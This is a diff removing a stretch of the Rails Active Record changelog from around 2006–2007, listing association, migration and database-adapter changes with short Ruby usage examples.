-* The has_many create method works with polymorphic associations. #6361 [Dan Peterson]
-
-* MySQL: introduce Mysql::Result#all_hashes to support further optimization. #5581 [Stefan Kaes]
-
-* save! shouldn't validate twice. #6324 [maiha, Bob Silva]
-
-* Association collections have an _ids reader method to match the existing writer for collection_select convenience (e.g. employee.task_ids). The writer method skips blank ids so you can safely do @employee.task_ids = params[:tasks] without checking every time for an empty list or blank values. #1887, #5780 [Michael Schuerig]
-
-* Add an attribute reader method for ActiveRecord::Base.observers [Rick Olson]
-
-* Deprecation: count class method should be called with an options hash rather than two args for conditions and joins. #6287 [Bob Silva]
-
-* has_one associations with a nil target may be safely marshaled. #6279 [norbauer, Jeremy Kemper]
-
-* Duplicate the hash provided to AR::Base#to_xml to prevent unexpected side effects [Michael Koziarski]
-
-* Add a :namespace option to AR::Base#to_xml [Michael Koziarski]
-
-* Deprecation tests. Remove warnings for dynamic finders and for the foo_count method if it's also an attribute. [Jeremy Kemper]
-
-* Mock Time.now for more accurate Touch mixin tests. #6213 [Dan Peterson]
-
-* Improve yaml fixtures error reporting. #6205 [Bruce Williams]
-
-* Rename AR::Base#quote so people can use that name in their models. #3628 [Michael Koziarski]
-
-* Add deprecation warning for inferred foreign key. #6029 [Josh Susser]
-
-* Fixed the Ruby/MySQL adapter we ship with Active Record to work with the new authentication handshake that was introduced in MySQL 4.1, along with the other protocol changes made at that time #5723 [jimw@mysql.com]
-
-* Deprecation: use :dependent => :delete_all rather than :exclusively_dependent => true. #6024 [Josh Susser]
-
-* Document validates_presences_of behavior with booleans: you probably want validates_inclusion_of :attr, :in => [true, false]. #2253 [Bob Silva]
-
-* Optimistic locking: gracefully handle nil versions, treat as zero. #5908 [Tom Ward]
-
-* to_xml: the :methods option works on arrays of records. #5845 [Josh Starcher]
-
-* Deprecation: update docs. #5998 [Jakob Skjerning, Kevin Clark]
-
-* Add some XmlSerialization tests for ActiveRecord [Rick Olson]
-
-* has_many :through conditions are sanitized by the associating class. #5971 [martin.emde@gmail.com]
-
-* Tighten rescue clauses. #5985 [james@grayproductions.net]
-
-* Fix spurious newlines and spaces in AR::Base#to_xml output [Jamis Buck]
-
-* has_one supports the :dependent => :delete option which skips the typical callback chain and deletes the associated object directly from the database. #5927 [Chris Mear, Jonathan Viney]
-
-* Nested subclasses are not prefixed with the parent class' table_name since they should always use the base class' table_name. #5911 [Jonathan Viney]
-
-* SQLServer: work around bug where some unambiguous date formats are not correctly identified if the session language is set to german. #5894 [Tom Ward, kruth@bfpi]
-
-* SQLServer: fix eager association test. #5901 [Tom Ward]
-
-* Clashing type columns due to a sloppy join shouldn't wreck single-table inheritance. #5838 [Kevin Clark]
-
-* Fixtures: correct escaping of \n and \r. #5859 [evgeny.zislis@gmail.com]
-
-* Migrations: gracefully handle missing migration files. #5857 [eli.gordon@gmail.com]
-
-* MySQL: update test schema for MySQL 5 strict mode. #5861 [Tom Ward]
-
-* to_xml: correct naming of included associations. #5831 [Josh Starcher]
-
-* Pushing a record onto a has_many :through sets the association's foreign key to the associate's primary key and adds it to the correct association. #5815, #5829 [Josh Susser]
-
-* Add records to has_many :through using <<, push, and concat by creating the association record. Raise if base or associate are new records since both ids are required to create the association. #build raises since you can't associate an unsaved record. #create! takes an attributes hash and creates the associated record and its association in a transaction. [Jeremy Kemper]
-
- # Create a tagging to associate the post and tag.
- post.tags << Tag.find_by_name('old')
- post.tags.create! :name => 'general'
-
- # Would have been:
- post.taggings.create!(:tag => Tag.find_by_name('finally')
- transaction do
- post.taggings.create!(:tag => Tag.create!(:name => 'general'))
- end
-
-* Cache nil results for :included has_one associations also. #5787 [Michael Schoen]
-
-* Fixed a bug which would cause .save to fail after trying to access a empty has_one association on a unsaved record. [Tobias Lütke]
-
-* Nested classes are given table names prefixed by the singular form of the parent's table name. [Jeremy Kemper]
- Example: Invoice::Lineitem is given table name invoice_lineitems
-
-* Migrations: uniquely name multicolumn indexes so you don't have to. [Jeremy Kemper]
- # people_active_last_name_index, people_active_deactivated_at_index
- add_index :people, [:active, :last_name]
- add_index :people, [:active, :deactivated_at]
- remove_index :people, [:active, :last_name]
- remove_index :people, [:active, :deactivated_at]
-
- WARNING: backward-incompatibility. Multicolumn indexes created before this
- revision were named using the first column name only. Now they're uniquely
- named using all indexed columns.
-
- To remove an old multicolumn index, remove_index :table_name, :first_column
-
-* Fix for deep includes on the same association. [richcollins@gmail.com]
-
-* Tweak fixtures so they don't try to use a non-ActiveRecord class. [Kevin Clark]
-
-* Remove ActiveRecord::Base.reset since Dispatcher doesn't use it anymore. [Rick Olson]
-
-* Document find's :from option. Closes #5762. [andrew@redlinesoftware.com]
-
-* PostgreSQL: autodetected sequences work correctly with multiple schemas. Rely on the schema search_path instead of explicitly qualifying the sequence name with its schema. #5280 [guy.naor@famundo.com]
-
-* Replace Reloadable with Reloadable::Deprecated. [Nicholas Seckar]
-
-* Cache nil results for has_one associations so multiple calls don't call the database. Closes #5757. [Michael Schoen]
-
-* Add documentation for how to disable timestamps on a per model basis. Closes #5684. [matt@mattmargolis.net Marcel Molina Jr.]
-
-* Don't save has_one associations unnecessarily. #5735 [Jonathan Viney]
-
-* Refactor ActiveRecord::Base.reset_subclasses to #reset, and add global observer resetting. [Rick Olson]
-
-* Formally deprecate the deprecated finders. [Michael Koziarski]
-
-* Formally deprecate rich associations. [Michael Koziarski]
-
-* Fixed that default timezones for new / initialize should uphold utc setting #5709 [daniluk@yahoo.com]
-
-* Fix announcement of very long migration names. #5722 [blake@near-time.com]
-
-* The exists? class method should treat a string argument as an id rather than as conditions. #5698 [jeremy@planetargon.com]
-
-* Fixed to_xml with :include misbehaviors when invoked on array of model instances #5690 [alexkwolfe@gmail.com]
-
-* Added support for conditions on Base.exists? #5689 [Josh Peek]. Examples:
-
- assert (Topic.exists?(:author_name => "David"))
- assert (Topic.exists?(:author_name => "Mary", :approved => true))
- assert (Topic.exists?(["parent_id = ?", 1]))
-
-* Schema dumper quotes date :default values. [Dave Thomas]
-
-* Calculate sum with SQL, not Enumerable on HasManyThrough Associations. [Dan Peterson]
-
-* Factor the attribute#{suffix} methods out of method_missing for easier extension. [Jeremy Kemper]
-
-* Patch sql injection vulnerability when using integer or float columns. [Jamis Buck]
-
-* Allow #count through a has_many association to accept :include. [Dan Peterson]
-
-* create_table rdoc: suggest :id => false for habtm join tables. [Zed Shaw]
-
-* PostgreSQL: return array fields as strings. #4664 [Robby Russell]
-
-* SQLServer: added tests to ensure all database statements are closed, refactored identity_insert management code to use blocks, removed update/delete rowcount code out of execute and into update/delete, changed insert to go through execute method, removed unused quoting methods, disabled pessimistic locking tests as feature is currently unsupported, fixed RakeFile to load sqlserver specific tests whether running in ado or odbc mode, fixed support for recently added decimal types, added support for limits on integer types. #5670 [Tom Ward]
-
-* SQLServer: fix db:schema:dump case-sensitivity. #4684 [Will Rogers]
-
-* Oracle: BigDecimal support. #5667 [Michael Schoen]
-
-* Numeric and decimal columns map to BigDecimal instead of Float. Those with scale 0 map to Integer. #5454 [robbat2@gentoo.org, work@ashleymoran.me.uk]
-
-* Firebird migrations support. #5337 [Ken Kunz <kennethkunz@gmail.com>]
-
-* PostgreSQL: create/drop as postgres user. #4790 [mail@matthewpainter.co.uk, mlaster@metavillage.com]
-
-* Update callbacks documentation. #3970 [Robby Russell <robby@planetargon.com>]
-
-* PostgreSQL: correctly quote the ' in pk_and_sequence_for. #5462 [tietew@tietew.net]
-
-* PostgreSQL: correctly quote microseconds in timestamps. #5641 [rick@rickbradley.com]
-
-* Clearer has_one/belongs_to model names (account has_one :user). #5632 [matt@mattmargolis.net]
-
-* Oracle: use nonblocking queries if allow_concurrency is set, fix pessimistic locking, don't guess date vs. time by default (set OracleAdapter.emulate_dates = true for the old behavior), adapter cleanup. #5635 [Michael Schoen]
-
-* Fixed a few Oracle issues: Allows Oracle's odd date handling to still work consistently within #to_xml, Passes test that hardcode insert statement by dropping the :id column, Updated RUNNING_UNIT_TESTS with Oracle instructions, Corrects method signature for #exec #5294 [Michael Schoen]
-
-* Added :group to available options for finds done on associations #5516 [mike@michaeldewey.org]
-
-* Minor tweak to improve performance of ActiveRecord::Base#to_param.
-
-* Observers also watch subclasses created after they are declared. #5535 [daniels@pronto.com.au]
-
-* Removed deprecated timestamps_gmt class methods. [Jeremy Kemper]
-
-* rake build_mysql_database grants permissions to rails@localhost. #5501 [brianegge@yahoo.com]
-
-* PostgreSQL: support microsecond time resolution. #5492 [alex@msgpad.com]
-
-* Add AssociationCollection#sum since the method_missing invokation has been shadowed by Enumerable#sum.
-
-* Added find_or_initialize_by_X which works like find_or_create_by_X but doesn't save the newly instantiated record. [Sam Stephenson]
-
-* Row locking. Provide a locking clause with the :lock finder option or true for the default "FOR UPDATE". Use the #lock! method to obtain a row lock on a single record (reloads the record with :lock => true). [Shugo Maeda]
- # Obtain an exclusive lock on person 1 so we can safely increment visits.
- Person.transaction do
- # select * from people where id=1 for update
- person = Person.find(1, :lock => true)
- person.visits += 1
- person.save!
- end
-
-* PostgreSQL: introduce allow_concurrency option which determines whether to use blocking or asynchronous #execute. Adapters with blocking #execute will deadlock Ruby threads. The default value is ActiveRecord::Base.allow_concurrency. [Jeremy Kemper]
-
-* Use a per-thread (rather than global) transaction mutex so you may execute concurrent transactions on separate connections. [Jeremy Kemper]
-
-* Change AR::Base#to_param to return a String instead of a Fixnum. Closes #5320. [Nicholas Seckar]
-
-* Use explicit delegation instead of method aliasing for AR::Base.to_param -> AR::Base.id. #5299 (skaes@web.de)
-
-* Refactored ActiveRecord::Base.to_xml to become a delegate for XmlSerializer, which restores sanity to the mega method. This refactoring also reinstates the opinions that type="string" is redundant and ugly and nil-differentiation is not a concern of serialization [David Heinemeier Hansson]
-
-* Added simple hash conditions to find that'll just convert hash to an AND-based condition string #5143 [Hampton Catlin]. Example:
-
- Person.find(:all, :conditions => { :last_name => "Catlin", :status => 1 }, :limit => 2)
-
-...is the same as:
-
- Person.find(:all, :conditions => [ "last_name = ? and status = ?", "Catlin", 1 ], :limit => 2)
-
- This makes it easier to pass in the options from a form or otherwise outside.
-
-
-* Fixed issues with BLOB limits, charsets, and booleans for Firebird #5194, #5191, #5189 [kennethkunz@gmail.com]
-
-* Fixed usage of :limit and with_scope when the association in scope is a 1:m #5208 [alex@purefiction.net]
-
-* Fixed migration trouble with SQLite when NOT NULL is used in the new definition #5215 [greg@lapcominc.com]
-
-* Fixed problems with eager loading and counting on SQL Server #5212 [kajism@yahoo.com]
-
-* Fixed that count distinct should use the selected column even when using :include #5251 [anna@wota.jp]
-
-* Fixed that :includes merged from with_scope won't cause the same association to be loaded more than once if repetition occurs in the clauses #5253 [alex@purefiction.net]
-
-* Allow models to override to_xml. #4989 [Blair Zajac <blair@orcaware.com>]
-
-* PostgreSQL: don't ignore port when host is nil since it's often used to label the domain socket. #5247 [shimbo@is.naist.jp]
-
-* Records and arrays of records are bound as quoted ids. [Jeremy Kemper]
- Foo.find(:all, :conditions => ['bar_id IN (?)', bars])
- Foo.find(:first, :conditions => ['bar_id = ?', bar])
-
-* Fixed that Base.find :all, :conditions => [ "id IN (?)", collection ] would fail if collection was empty [David Heinemeier Hansson]
-
-* Add a list of regexes assert_queries skips in the ActiveRecord test suite. [Rick Olson]
-
-* Fix the has_and_belongs_to_many #create doesn't populate the join for new records. Closes #3692 [Josh Susser]
-
-* Provide Association Extensions access to the instance that the association is being accessed from.
- Closes #4433 [Josh Susser]
-
-* Update OpenBase adaterp's maintainer's email address. Closes #5176. [Derrick Spell]
-
-* Add a quick note about :select and eagerly included associations. [Rick Olson]
-
-* Add docs for the :as option in has_one associations. Closes #5144 [cdcarter@gmail.com]
-
-* Fixed that has_many collections shouldn't load the entire association to do build or create [David Heinemeier Hansson]
-
-* Added :allow_nil option for aggregations #5091 [Ian White]
-
-* Fix Oracle boolean support and tests. Closes #5139. [Michael Schoen]
-
-* create! no longer blows up when no attributes are passed and a :create scope is in effect (e.g. foo.bars.create! failed whereas foo.bars.create!({}) didn't.) [Jeremy Kemper]
-
-* Call Inflector#demodulize on the class name when eagerly including an STI model. Closes #5077 [info@loobmedia.com]
-
-* Preserve MySQL boolean column defaults when changing a column in a migration. Closes #5015. [pdcawley@bofh.org.uk]
-
-* PostgreSQL: migrations support :limit with :integer columns by mapping limit < 4 to smallint, > 4 to bigint, and anything else to integer. #2900 [keegan@thebasement.org]
-
-* Dates and times interpret empty strings as nil rather than 2000-01-01. #4830 [kajism@yahoo.com]
-
-* Allow :uniq => true with has_many :through associations. [Jeremy Kemper]
-
-* Ensure that StringIO is always available for the Schema dumper. [Marcel Molina Jr.]
-
-* Allow AR::Base#to_xml to include methods too. Closes #4921. [johan@textdrive.com]
-
-* Replace superfluous name_to_class_name variant with camelize. [Marcel Molina Jr.]
-
-* Replace alias method chaining with Module#alias_method_chain. [Marcel Molina Jr.]
-
-* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
-
-* Remove duplicate fixture entry in comments.yml. Closes #4923. [Blair Zajac <blair@orcaware.com>]
-
-* Update FrontBase adapter to check binding version. Closes #4920. [mlaster@metavillage.com]
-
-* New Frontbase connections don't start in auto-commit mode. Closes #4922. [mlaster@metavillage.com]
-
-* When grouping, use the appropriate option key. [Marcel Molina Jr.]
-
-* Only modify the sequence name in the FrontBase adapter if the FrontBase adapter is actually being used. [Marcel Molina Jr.]
-
-* Add support for FrontBase (http://www.frontbase.com/) with a new adapter thanks to the hard work of one Mike Laster. Closes #4093. [mlaster@metavillage.com]
-
-* Add warning about the proper way to validate the presence of a foreign key. Closes #4147. [Francois Beausoleil <francois.beausoleil@gmail.com>]
-
-* Fix syntax error in documentation. Closes #4679. [Mislav Marohnić]
-
-* Add Oracle support for CLOB inserts. Closes #4748. [schoenm@earthlink.net sandra.metz@duke.edu]
-
-* Various fixes for sqlserver_adapter (odbc statement finishing, ado schema dumper, drop index). Closes #4831. [kajism@yahoo.com]
-
-* Add support for :order option to with_scope. Closes #3887. [eric.daspet@survol.net]
-
-* Prettify output of schema_dumper by making things line up. Closes #4241 [Caio Chassot <caio@v2studio.com>]
-
-* Make build_postgresql_databases task make databases owned by the postgres user. Closes #4790. [mlaster@metavillage.com]
-
-* Sybase Adapter type conversion cleanup. Closes #4736. [dev@metacasa.net]
-
-* Fix bug where calculations with long alias names return null. [Rick Olson]
-
-* Raise error when trying to add to a has_many :through association. Use the Join Model instead. [Rick Olson]
-
- @post.tags << @tag # BAD
- @post.taggings.create(:tag => @tag) # GOOD
-
-* Allow all calculations to take the :include option, not just COUNT (closes #4840) [Rick Olson]
-
-* Update inconsistent migrations documentation. #4683 [machomagna@gmail.com]
-
-* Add ActiveRecord::Errors#to_xml [Jamis Buck]
-
-* Properly quote index names in migrations (closes #4764) [John Long]
-
-* Fix the HasManyAssociation#count method so it uses the new ActiveRecord::Base#count syntax, while maintaining backwards compatibility. [Rick Olson]
-
-* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions [Rick Olson]
-
-* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. [Rick Olson]
-
-* DRY up association collection reader method generation. [Marcel Molina Jr.]
-
-* DRY up and tweak style of the validation error object. [Marcel Molina Jr.]
-
-* Add :case_sensitive option to validates_uniqueness_of (closes #3090) [Rick Olson]
-
- class Account < ActiveRecord::Base
- validates_uniqueness_of :email, :case_sensitive => false
- end
-
-* Allow multiple association extensions with :extend option (closes #4666) [Josh Susser]
-
- class Account < ActiveRecord::Base
- has_many :people, :extend => [FindOrCreateByNameExtension, FindRecentExtension]
- end
-
- *1.15.3* (March 12th, 2007)
-
- * Allow a polymorphic :source for has_many :through associations. Closes #7143 [protocool]
-
- * Consistently quote primary key column names. #7763 [toolmantim]
-
- * Fixtures: fix YAML ordered map support. #2665 [Manuel Holtgrewe, nfbuckley]
-
- * Fix has_many :through << with custom foreign keys. #6466, #7153 [naffis, Rich Collins]
-
-
-*1.15.2* (February 5th, 2007)
-
-* Pass a range in :conditions to use the SQL BETWEEN operator. #6974 [Dan Manges]
- Student.find(:all, :conditions => { :grade => 9..12 })
-
-* Don't create instance writer methods for class attributes. [Rick Olson]
-
-* When dealing with SQLite3, use the table_info pragma helper, so that the bindings can do some translation for when sqlite3 breaks incompatibly between point releases. [Jamis Buck]
-
-* SQLServer: don't choke on strings containing 'null'. #7083 [Jakob Skjerning]
-
-* Consistently use LOWER() for uniqueness validations (rather than mixing with UPPER()) so the database can always use a functional index on the lowercased column. #6495 [Si]
-
-* MySQL: SET SQL_AUTO_IS_NULL=0 so 'where id is null' doesn't select the last inserted id. #6778 [Jonathan Viney, timc]
-
-* Fixtures use the table name and connection from set_fixture_class. #7330 [Anthony Eden]
-
-* SQLServer: quote table name in indexes query. #2928 [keithm@infused.org]
-
-
-*1.15.1* (January 17th, 2007)
-
-* Fix nodoc breaking of adapters
-
-
-*1.15.0* (January 16th, 2007)
-
-* [DOC] clear up some ambiguity with the way has_and_belongs_to_many creates the default join table name. #7072 [Jeremy McAnally]
-
-* change_column accepts :default => nil. Skip column options for primary keys. #6956, #7048 [Dan Manges, Jeremy Kemper]
-
-* MySQL, PostgreSQL: change_column_default quotes the default value and doesn't lose column type information. #3987, #6664 [Jonathan Viney, Manfred Stienstra, altano@bigfoot.com]
-
-* Oracle: create_table takes a :sequence_name option to override the 'tablename_seq' default. #7000 [Michael Schoen]
-
-* MySQL: retain SSL settings on reconnect. #6976 [randyv2]
-
-* SQLServer: handle [quoted] table names. #6635 [rrich]
-
-* acts_as_nested_set works with single-table inheritance. #6030 [Josh Susser]
-
-* PostgreSQL, Oracle: correctly perform eager finds with :limit and :order. #4668, #7021 [eventualbuddha, Michael Schoen]
-
-* Fix the Oracle adapter for serialized attributes stored in CLOBs. Closes #6825 [mschoen, tdfowler]
-
-* [DOCS] Apply more documentation for ActiveRecord Reflection. Closes #4055 [Robby Russell]
-
-* [DOCS] Document :allow_nil option of #validate_uniqueness_of. Closes #3143 [Caio Chassot]
-
-* Bring the sybase adapter up to scratch for 1.2 release. [jsheets]
-
-* Oracle: fix connection reset failure. #6846 [leonlleslie]
-
-* Subclass instantiation doesn't try to explicitly require the corresponding subclass. #6840 [leei, Jeremy Kemper]
-
-* fix faulty inheritance tests and that eager loading grabs the wrong inheritance column when the class of your association is an STI subclass. Closes #6859 [protocool]
-
-* find supports :lock with :include. Check whether your database allows SELECT ... FOR UPDATE with outer joins before using. #6764 [vitaly, Jeremy Kemper]
-
-* Support nil and Array in :conditions => { attr => value } hashes. #6548 [Assaf, Jeremy Kemper]
- find(:all, :conditions => { :topic_id => [1, 2, 3], :last_read => nil }
-
-* Quote ActiveSupport::Multibyte::Chars. #6653 [Julian Tarkhanov]
-
-* MySQL: detect when a NOT NULL column without a default value is misreported as default ''. Can't detect for string, text, and binary columns since '' is a legitimate default. #6156 [simon@redhillconsulting.com.au, obrie, Jonathan Viney, Jeremy Kemper]
-
-* validates_numericality_of uses \A \Z to ensure the entire string matches rather than ^ $ which may match one valid line of a multiline string. #5716 [Andreas Schwarz]
-
-* Oracle: automatically detect the primary key. #6594 [vesaria, Michael Schoen]
-
-* Oracle: to increase performance, prefetch 100 rows and enable similar cursor sharing. Both are configurable in database.yml. #6607 [philbogle@gmail.com, ray.fortna@jobster.com, Michael Schoen]
-
-* Firebird: decimal/numeric support. #6408 [macrnic]
-
-* Find with :include respects scoped :order. #5850
-
-* Dynamically generate reader methods for serialized attributes. #6362 [Stefan Kaes]
-
-* Deprecation: object transactions warning. [Jeremy Kemper]
-
-* has_one :dependent => :nullify ignores nil associates. #6528 [janovetz, Jeremy Kemper]
-
-* Oracle: resolve test failures, use prefetched primary key for inserts, check for null defaults, fix limited id selection for eager loading. Factor out some common methods from all adapters. #6515 [Michael Schoen]
-
-* Make add_column use the options hash with the Sqlite Adapter. Closes #6464 [obrie]
-
-* Document other options available to migration's add_column. #6419 [grg]
-
-* MySQL: all_hashes compatibility with old MysqlRes class. #6429, #6601 [Jeremy Kemper]
-
-* Fix has_many :through to add the appropriate conditions when going through an association using STI. Closes #5783. [Jonathan Viney]
-
-* fix select_limited_ids_list issues in postgresql, retain current behavior in other adapters [Rick Olson]
-
-* Restore eager condition interpolation, document it's differences [Rick Olson]
-
-* Don't rollback in teardown unless a transaction was started. Don't start a transaction in create_fixtures if a transaction is started. #6282 [Jacob Fugal, Jeremy Kemper]
-
-* Add #delete support to has_many :through associations. Closes #6049 [Martin Landers]
-
-* Reverted old select_limited_ids_list postgresql fix that caused issues in mysql. Closes #5851 [Rick Olson]
-
-* Removes the ability for eager loaded conditions to be interpolated, since there is no model instance to use as a context for interpolation. #5553 [turnip@turnipspatch.com]
-
-* Added timeout option to SQLite3 configurations to deal more gracefully with SQLite3::BusyException, now the connection can instead retry for x seconds to see if the db clears up before throwing that exception #6126 [wreese@gmail.com]
-
-* Added update_attributes! which uses save! to raise an exception if a validation error prevents saving #6192 [jonathan]
-
-* Deprecated add_on_boundary_breaking (use validates_length_of instead) #6292 [Bob Silva]
-
-* The has_many create method works with polymorphic associations. #6361 [Dan Peterson]
-
-* MySQL: introduce Mysql::Result#all_hashes to support further optimization. #5581 [Stefan Kaes]
-
-* save! shouldn't validate twice. #6324 [maiha, Bob Silva]
-
-* Association collections have an _ids reader method to match the existing writer for collection_select convenience (e.g. employee.task_ids). The writer method skips blank ids so you can safely do @employee.task_ids = params[:tasks] without checking every time for an empty list or blank values. #1887, #5780 [Michael Schuerig]
-
-* Add an attribute reader method for ActiveRecord::Base.observers [Rick Olson]
-
-* Deprecation: count class method should be called with an options hash rather than two args for conditions and joins. #6287 [Bob Silva]
-
-* has_one associations with a nil target may be safely marshaled. #6279 [norbauer, Jeremy Kemper]
-
-* Duplicate the hash provided to AR::Base#to_xml to prevent unexpected side effects [Michael Koziarski]
-
-* Add a :namespace option to AR::Base#to_xml [Michael Koziarski]
-
-* Deprecation tests. Remove warnings for dynamic finders and for the foo_count method if it's also an attribute. [Jeremy Kemper]
-
-* Mock Time.now for more accurate Touch mixin tests. #6213 [Dan Peterson]
-
-* Improve yaml fixtures error reporting. #6205 [Bruce Williams]
-
-* Rename AR::Base#quote so people can use that name in their models. #3628 [Michael Koziarski]
-
-* Add deprecation warning for inferred foreign key. #6029 [Josh Susser]
-
-* Fixed the Ruby/MySQL adapter we ship with Active Record to work with the new authentication handshake that was introduced in MySQL 4.1, along with the other protocol changes made at that time #5723 [jimw@mysql.com]
-
-* Deprecation: use :dependent => :delete_all rather than :exclusively_dependent => true. #6024 [Josh Susser]
-
-* Optimistic locking: gracefully handle nil versions, treat as zero. #5908 [Tom Ward]
-
-* to_xml: the :methods option works on arrays of records. #5845 [Josh Starcher]
-
-* has_many :through conditions are sanitized by the associating class. #5971 [martin.emde@gmail.com]
-
-* Fix spurious newlines and spaces in AR::Base#to_xml output [Jamis Buck]
-
-* has_one supports the :dependent => :delete option which skips the typical callback chain and deletes the associated object directly from the database. #5927 [Chris Mear, Jonathan Viney]
-
-* Nested subclasses are not prefixed with the parent class' table_name since they should always use the base class' table_name. #5911 [Jonathan Viney]
-
-* SQLServer: work around bug where some unambiguous date formats are not correctly identified if the session language is set to german. #5894 [Tom Ward, kruth@bfpi]
-
-* Clashing type columns due to a sloppy join shouldn't wreck single-table inheritance. #5838 [Kevin Clark]
-
-* Fixtures: correct escaping of \n and \r. #5859 [evgeny.zislis@gmail.com]
-
-* Migrations: gracefully handle missing migration files. #5857 [eli.gordon@gmail.com]
-
-* MySQL: update test schema for MySQL 5 strict mode. #5861 [Tom Ward]
-
-* to_xml: correct naming of included associations. #5831 [Josh Starcher]
-
-* Pushing a record onto a has_many :through sets the association's foreign key to the associate's primary key and adds it to the correct association. #5815, #5829 [Josh Susser]
-
-* Add records to has_many :through using <<, push, and concat by creating the association record. Raise if base or associate are new records since both ids are required to create the association. #build raises since you can't associate an unsaved record. #create! takes an attributes hash and creates the associated record and its association in a transaction. [Jeremy Kemper]
-
- # Create a tagging to associate the post and tag.
- post.tags << Tag.find_by_name('old')
- post.tags.create! :name => 'general'
-
- # Would have been:
- post.taggings.create!(:tag => Tag.find_by_name('finally')
- transaction do
- post.taggings.create!(:tag => Tag.create!(:name => 'general'))
- end
-
-* Cache nil results for :included has_one associations also. #5787 [Michael Schoen]
-
-* Fixed a bug which would cause .save to fail after trying to access a empty has_one association on a unsaved record. [Tobias Lütke]
-
-* Nested classes are given table names prefixed by the singular form of the parent's table name. [Jeremy Kemper]
- Example: Invoice::Lineitem is given table name invoice_lineitems
-
-* Migrations: uniquely name multicolumn indexes so you don't have to. [Jeremy Kemper]
- # people_active_last_name_index, people_active_deactivated_at_index
- add_index :people, [:active, :last_name]
- add_index :people, [:active, :deactivated_at]
- remove_index :people, [:active, :last_name]
- remove_index :people, [:active, :deactivated_at]
-
- WARNING: backward-incompatibility. Multicolumn indexes created before this
- revision were named using the first column name only. Now they're uniquely
- named using all indexed columns.
-
- To remove an old multicolumn index, remove_index :table_name, :first_column
-
-* Fix for deep includes on the same association. [richcollins@gmail.com]
-
-* Tweak fixtures so they don't try to use a non-ActiveRecord class. [Kevin Clark]
-
-* Remove ActiveRecord::Base.reset since Dispatcher doesn't use it anymore. [Rick Olson]
-
-* PostgreSQL: autodetected sequences work correctly with multiple schemas. Rely on the schema search_path instead of explicitly qualifying the sequence name with its schema. #5280 [guy.naor@famundo.com]
-
-* Replace Reloadable with Reloadable::Deprecated. [Nicholas Seckar]
-
-* Cache nil results for has_one associations so multiple calls don't call the database. Closes #5757. [Michael Schoen]
-
-* Don't save has_one associations unnecessarily. #5735 [Jonathan Viney]
-
-* Refactor ActiveRecord::Base.reset_subclasses to #reset, and add global observer resetting. [Rick Olson]
-
-* Formally deprecate the deprecated finders. [Michael Koziarski]
-
-* Formally deprecate rich associations. [Michael Koziarski]
-
-* Fixed that default timezones for new / initialize should uphold utc setting #5709 [daniluk@yahoo.com]
-
-* Fix announcement of very long migration names. #5722 [blake@near-time.com]
-
-* The exists? class method should treat a string argument as an id rather than as conditions. #5698 [jeremy@planetargon.com]
-
-* Fixed to_xml with :include misbehaviors when invoked on array of model instances #5690 [alexkwolfe@gmail.com]
-
-* Added support for conditions on Base.exists? #5689 [Josh Peek]. Examples:
-
- assert (Topic.exists?(:author_name => "David"))
- assert (Topic.exists?(:author_name => "Mary", :approved => true))
- assert (Topic.exists?(["parent_id = ?", 1]))
-
-* Schema dumper quotes date :default values. [Dave Thomas]
-
-* Calculate sum with SQL, not Enumerable on HasManyThrough Associations. [Dan Peterson]
-
-* Factor the attribute#{suffix} methods out of method_missing for easier extension. [Jeremy Kemper]
-
-* Patch sql injection vulnerability when using integer or float columns. [Jamis Buck]
-
-* Allow #count through a has_many association to accept :include. [Dan Peterson]
-
-* create_table rdoc: suggest :id => false for habtm join tables. [Zed Shaw]
-
-* PostgreSQL: return array fields as strings. #4664 [Robby Russell]
-
-* SQLServer: added tests to ensure all database statements are closed, refactored identity_insert management code to use blocks, removed update/delete rowcount code out of execute and into update/delete, changed insert to go through execute method, removed unused quoting methods, disabled pessimistic locking tests as feature is currently unsupported, fixed RakeFile to load sqlserver specific tests whether running in ado or odbc mode, fixed support for recently added decimal types, added support for limits on integer types. #5670 [Tom Ward]
-
-* SQLServer: fix db:schema:dump case-sensitivity. #4684 [Will Rogers]
-
-* Oracle: BigDecimal support. #5667 [Michael Schoen]
-
-* Numeric and decimal columns map to BigDecimal instead of Float. Those with scale 0 map to Integer. #5454 [robbat2@gentoo.org, work@ashleymoran.me.uk]
-
-* Firebird migrations support. #5337 [Ken Kunz <kennethkunz@gmail.com>]
-
-* PostgreSQL: create/drop as postgres user. #4790 [mail@matthewpainter.co.uk, mlaster@metavillage.com]
-
-* PostgreSQL: correctly quote the ' in pk_and_sequence_for. #5462 [tietew@tietew.net]
-
-* PostgreSQL: correctly quote microseconds in timestamps. #5641 [rick@rickbradley.com]
-
-* Clearer has_one/belongs_to model names (account has_one :user). #5632 [matt@mattmargolis.net]
-
-* Oracle: use nonblocking queries if allow_concurrency is set, fix pessimistic locking, don't guess date vs. time by default (set OracleAdapter.emulate_dates = true for the old behavior), adapter cleanup. #5635 [Michael Schoen]
-
-* Fixed a few Oracle issues: Allows Oracle's odd date handling to still work consistently within #to_xml, Passes test that hardcode insert statement by dropping the :id column, Updated RUNNING_UNIT_TESTS with Oracle instructions, Corrects method signature for #exec #5294 [Michael Schoen]
-
-* Added :group to available options for finds done on associations #5516 [mike@michaeldewey.org]
-
-* Observers also watch subclasses created after they are declared. #5535 [daniels@pronto.com.au]
-
-* Removed deprecated timestamps_gmt class methods. [Jeremy Kemper]
-
-* rake build_mysql_database grants permissions to rails@localhost. #5501 [brianegge@yahoo.com]
-
-* PostgreSQL: support microsecond time resolution. #5492 [alex@msgpad.com]
-
-* Add AssociationCollection#sum since the method_missing invokation has been shadowed by Enumerable#sum.
-
-* Added find_or_initialize_by_X which works like find_or_create_by_X but doesn't save the newly instantiated record. [Sam Stephenson]
-
-* Row locking. Provide a locking clause with the :lock finder option or true for the default "FOR UPDATE". Use the #lock! method to obtain a row lock on a single record (reloads the record with :lock => true). [Shugo Maeda]
- # Obtain an exclusive lock on person 1 so we can safely increment visits.
- Person.transaction do
- # select * from people where id=1 for update
- person = Person.find(1, :lock => true)
- person.visits += 1
- person.save!
- end
-
-* PostgreSQL: introduce allow_concurrency option which determines whether to use blocking or asynchronous #execute. Adapters with blocking #execute will deadlock Ruby threads. The default value is ActiveRecord::Base.allow_concurrency. [Jeremy Kemper]
-
-* Use a per-thread (rather than global) transaction mutex so you may execute concurrent transactions on separate connections. [Jeremy Kemper]
-
-* Change AR::Base#to_param to return a String instead of a Fixnum. Closes #5320. [Nicholas Seckar]
-
